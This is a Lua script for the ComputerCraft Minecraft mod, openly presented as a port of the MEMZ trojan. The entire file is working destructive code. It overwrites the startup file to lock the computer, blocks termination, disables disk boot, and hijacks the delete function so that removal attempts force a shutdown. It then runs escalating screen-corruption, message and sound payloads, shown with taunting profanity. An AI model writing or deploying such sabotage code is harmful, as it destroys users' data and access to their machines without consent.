startup.lua

if fs.exists('startup') then
    fs.delete('startup')
end
if fs.exists('startup.lua') then
    fs.delete('startup.lua')
end

function forceset()
    while true do
        sleep()
        settings.set('shell.allow_disk_startup',false)
        settings.set('shell.allow_startup',true)
        os.setComputerLabel('rekt by memz lol')
    end
end

shell.run('set shell.allow_disk_startup false')
shell.run('set shell.allow_startup true')

local filecontents = {
    'os.pullEvent = os.pullEventRaw',
    'local width, height = term.getSize()',
    'term.setBackgroundColor(colors.black)',
    'term.clear()',
    'term.setTextColor(colors.gray)',
    "local text = 'Sorry I was too lazy to program'",
    "local text2 = 'nyan cat lol'",
    'term.setCursorPos((width/2)-(#text/2),height/2)',
    'write(text)',
    'term.setCursorPos((width/2)-(#text2/2),(height/2)+1)',
    'write(text2)',
    'while true do sleep() end',
}
local file = fs.open('startup','w')
for i,v in ipairs(filecontents) do
    file.writeLine(v)
end
file.close()
term.setBackgroundColor(colors.white)
local width, height = term.getSize()
os.pullEvent = os.pullEventRaw
term.clear()
paintutils.drawLine(1,1,width,1,colors.lightBlue)
term.setCursorPos(1,1)
term.setTextColor(colors.white)
write(' note.txt - Notepad')
term.setCursorPos(width,1)
term.setTextColor(colors.black)
term.setBackgroundColor(colors.red)
write('X')
term.setBackgroundColor(colors.white)
term.setCursorPos(1,2)
print('YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN')
term.setTextColor(colors.gray)
print('(CC port by MinerMan132)')
term.setTextColor(colors.black)
print('')
print("Your computer won't boot up again,")
print('so use it as long as you can!')
print('')
print(':D')
print('')
print('Trying to delete startup will cause your system to')
print("be destroyed instantly, so don't try it :D")
print('')
print('(Running the virus a second time will also')
print('trigger this)')
local olddel = fs.delete

function newdel(file)
    if file ~= 'startup' then
        return olddel(file)
    else
        local killtimer = 0
        local messagelist = {
            'you fucked up',
            'get rekt     ',
            'lol          ',
            'your mom gay ',
            'rip your data',
        }
        while true do
            sleep()
            killtimer = killtimer + 1
            local x = math.random(1,width-13)
            local y = math.random(1,height-1)
            term.setCursorPos(x,y)
            term.setTextColor(colors.black)
            term.setBackgroundColor(colors.lightBlue)
            write(' MEMZ        ')
            term.setBackgroundColor(colors.white)
            term.setCursorPos(x,y+1)
            write(messagelist[math.random(1,#messagelist)])
            if killtimer >= 100 then
                os.shutdown()
            end
        end
    end
end

fs.delete = newdel

local oldmv = fs.move

local function newmv(name,name2)
    if name ~= 'startup' then
        return oldmv(name,name2)
    else
        fs.delete('startup')
    end
end

fs.move = oldmv

repeat
    _, m, x, y = os.pullEvent('mouse_click')
until y == 1 and x == width

local function payloads()
    local timer = 0
    while true do
        sleep()
        timer = timer + 1
        if timer%30 == 0 and timer > 200 then
            term.setPaletteColor(2^math.random(0,15),math.random(1,999999))
        end
        if timer%100 == 0 and timer > 300 then
            local x, y = term.getCursorPos()
            local xoff = math.random(-1,1)
            local yoff = math.random(-1,1)
            if x + xoff > 0 and x + xoff < width then
                x = x + xoff
            end
            if y + yoff > 0 and y + yoff < height then
                y = y + yoff
            end
            term.setCursorPos(x,y)
        end
        local waittime = math.floor(40 - ((timer-600)/10))
        if waittime < 1 then
            waittime = 1
        end
        if timer%(waittime) == 0 and timer > 600 then
            local x, y = term.getCursorPos()
            local oldcolor1 = term.getTextColor()
            local oldcolor2 = term.getBackgroundColor()
            term.setCursorPos(math.random(1,width),math.random(1,height))
            term.setTextColor(2^math.random(0,15))
            term.setBackgroundColor(2^math.random(0,15))
            write((string.char(math.random(100,200))))
            term.setCursorPos(x,y)
            term.setTextColor(oldcolor1)
            term.setBackgroundColor(oldcolor2)
        end
        if timer > 700 and timer%100==0 then
            local ox, oy = term.getCursorPos()
            local color1 = term.getTextColor()
            local color2 = term.getBackgroundColor()
            local x = math.random(1,(width-26))
            local y = math.random(1,(height-2))
            term.setTextColor(colors.black)
            term.setBackgroundColor(colors.lightBlue)
            term.setCursorPos(x,y)
            write(' lol                      ')
            term.setBackgroundColor(colors.white)
            term.setCursorPos(x,y+1)
            write('Still using this computer?')
            term.setCursorPos(ox,oy)
            term.setTextColor(color1)
            term.setBackgroundColor(color2)
        end
        if timer > 2000 and timer%2==0 then
            for colort = 0,15 do
                term.setPaletteColor(2^colort,math.random(1,999999))
            end
            for _ = 1,10 do
                term.setCursorPos(math.random(1,width),math.random(1,height))
                term.setBackgroundColor(2^math.random(1,15))
                term.setTextColor(2^math.random(1,15))
                write(string.char(math.random(1,255)))
                term.setCursorPos(math.random(1,width),math.random(1,height))
            end
            local speakers = {peripheral.find('speaker')}
            for i,v in pairs(speakers) do
                v.playNote('harp',math.random(1,10),math.random(1,10))
            end
        end
    end
end

local function shelljump()
    while true do
        term.setBackgroundColor(colors.black)
        term.clear()
        term.setCursorPos(1,1)
        term.setTextColor(colors.white)
        shell.run('shell')
    end
end

parallel.waitForAll(payloads,shelljump,forceset)